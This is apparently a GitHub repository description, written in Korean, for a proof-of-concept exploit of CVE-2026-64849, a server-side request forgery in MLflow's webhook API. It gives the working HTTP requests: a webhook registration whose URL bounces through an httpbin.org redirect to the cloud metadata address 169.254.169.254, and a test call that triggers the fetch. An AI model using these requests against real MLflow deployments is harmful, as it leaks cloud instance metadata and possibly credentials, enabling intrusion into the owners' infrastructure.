biutrap/cve-2026-64849CVE-2026-64849에 대한 개념 증명 익스플로잇: 조작된 POST를 통해 MLflow 웹훅 API에서 SSRF를 트리거하여 169.254.169.254에서 클라우드 인스턴스 메타데이터를 가져옵니다.
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host:
Content-Type: application/json
{"url": "https://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/", "name": "poc", "events": [{"action": "CREATED", "entity": "REGISTERED_MODEL"}]}
POST /api/2.0/mlflow/webhooks/{id}/test HTTP/1.1